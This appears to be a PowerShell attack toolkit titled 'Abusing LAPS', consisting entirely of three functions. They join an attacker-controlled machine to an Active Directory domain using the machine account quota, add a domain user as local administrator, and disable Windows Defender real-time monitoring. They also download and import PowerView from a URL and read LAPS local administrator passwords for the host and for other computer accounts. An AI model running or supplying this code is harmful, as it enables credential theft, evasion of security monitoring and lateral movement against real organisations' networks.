Abusing LAPS

function Add-ComputerToDomainWithUserRights {
<#
.SYNOPSIS
    This script joins a computer to domain with domain user rights by using ms-DS-Machine-Account-Quota attribute.
    Also, adds domain user to local Administrators group.
​
.PARAMETER dcIp
    The parameter dcIp is used to define the IPv4 address of Domain Controller.
​
.PARAMETER dName
    The parameter dName is used to define the Domain Name.
​
.PARAMETER uName
    The parameter uName is used to define the value of Domain User samAccountName attribute. 
 
.PARAMETER restart
    The parameter restart is used to restart computer after adding process.
​
.EXAMPLE
    PS C:\> Add-ComputerToDomainWithUserRights -restart
    PS C:\> Add-ComuterToDomainWithUserRights
​
.NOTES
    Windows Powershell must be run as Administrator on computer that will be joined to domain.
    If running script is disabled on your system, execute following command firstly:
    Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
#>
    param (
        [string]$dcIp = $(Read-Host -Prompt '[*] Domain Controller IPv4 address '),
        [string]$dName = $(Read-Host -Prompt '[*] Domain Name '),
        [string]$uName = $(Read-Host -Prompt '[*] Domain UserName '),
        [switch]$restart
    ) 
    begin {
        Get-NetAdapter
        [int]$index = $(Read-Host -Prompt '[*] index of interface ')
    }
    process {
        Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dcIp -ErrorAction Stop
        Write-Host "[*] Adding computer account to Active Directory." -ForegroundColor Yellow
        Add-Computer -DomainName $dName -Credential $dName\$uName -Verbose -ErrorAction Stop
        Add-LocalGroupMember -Group "Administrators" -Member "$dName\$uName"
        Write-Host "[+] $uName domain user is added to local administrators group." -ForegroundColor Green
        Write-Host "[*] Restarting is required to achieve adding process." -ForegroundColor Yellow
        if ($restart) {
            Restart-Computer
        } else {
            Write-Host "[-] Computer restarting is cancelled!" -ForegroundColor Red
        }
​
    } 
        
    }  
​

function Get-LapsLocalAdminPassword {
    <#
    .SYNOPSIS
        This script reads ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attributes if user have all
        extended rights on computer account.
    .PARAMETER pUrl
        The parameter pUrl is used to define the URL of PowerView script.
    .PARAMETER disableDefender
        The parameter disableDefender is used to disable Windows Defender.
    .EXAMPLE
        PS C:\> Get-LocalAdminPassword -disableDefender
    .NOTES
        Windows Powershell should be run as domain user rights with local admin privileges.
        If you have Internet connection during penetration test,powerview url is following.
        https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
        If running scripts is disabled on your system, execute following command firstly:
        Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
    #>
    param (
        [string]$pUrl = $(Read-Host -Prompt '[*] Url of Powerview.ps1 script '),
        [switch]$disableDefender
    )
    begin {
        Write-Host " Obtaining ms-mcs-admpwd attribute value via MS-DS-Machine-Account-Quota" -ForegroundColor Green
    }
    process {
        $dPath = $env:USERPROFILE
        Write-Host "UserProfile: $dPath" -ForegroundColor Yellow
        $hName = $env:COMPUTERNAME
        Write-Host "Computername: $hName" -ForegroundColor Yellow
        Write-Host "[*] Windows Defender will be disabled for running PowerView.ps1 $disableDefender"
    if ($disableDefender) {
        Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable -ErrorAction Stop
        Invoke-WebRequest $pUrl -OutFile $dPath\Desktop\PowerView.ps1 -TimeoutSec 30
        Import-Module -Name $dPath\Desktop\PowerView.ps1
        $admPwd = Get-DomainComputer -Identity $hName | Select-Object -Property ms-mcs-*
        Write-Host "$admPwd" -ForegroundColor Green
        $eTime = Read-Host -Prompt '[*] String admpwd expirationtime'
        $expTime = cmd.exe /c "w32tm /ntte $eTime"
        Write-Host "$expTime" -ForegroundColor Green
    } else {
        Write-Host "[-] Cancelled!" -ForegroundColor Red
    }
    }
}

function Get-LapsLocalAdminPassword {
    <#
    .SYNOPSIS
        This script reads ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attributes if user have all extended rights on computer account without
        local admin privileges.
    
    .PARAMETER LapsInstalled
        The parameter LapsInstalled is used to define the AdmPwd.PS module is installed.
​
    .PARAMETER OtherComputer
        The parameter OtherComputer is used to query for other computer.
​
    .EXAMPLE
        PS C:\> Get-LocalAdminPassword –LapsInstalled
	    PS C:\> Get-LocalAdminPassword –LapsInstalled -OtherComputer
    
    .NOTES
        Windows Powershell should be run as domain user rights. If GPO is applied which only specified users join local adminstrators group , this script could be executed without admin rights.  
​
        If running scripts is disabled on your system, execute following command firstly.
        Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
​
    #>
        param (
    
            [switch]$LapsInstalled,
            [switch]$OtherComputer
        ) 
        begin {
            
            Write-Host "Obtaining ms-mcs-admpwd attribute value via MS-DS-Machine-Account-Quota" -ForegroundColor Green
        }
        process {
          
            $dPath = $env:USERPROFILE
            Write-Host "UserProfile: $dPath" -ForegroundColor Yellow
            $hName = $env:COMPUTERNAME
            Write-Host "Computername: $hName" -ForegroundColor Yellow
            Write-Host "[*] Did you install LAPS management powershell module? $LapsInstalled"
            if ($LapsInstalled) {
                Import-Module AdmPwd.PS
                Write-Host "[*] Would you like to query another computer account you added yourself? $otherComputer"
                if ($OtherComputer) {
                    $computer = Read-Host -Prompt "[*] Computer name "
                    Get-AdmPwdPassword -ComputerName $computer | format-list -Property ComputerName, ExpirationTimestamp, Password  
                        
                } else {
                    Get-AdmPwdPassword -ComputerName $hname | format-list -Property ComputerName, ExpirationTimestamp, Password 
                        
                }
            } else {
                Write-Host "[-] Cancelled!" -ForegroundColor Red
            }
            }
​
} 
​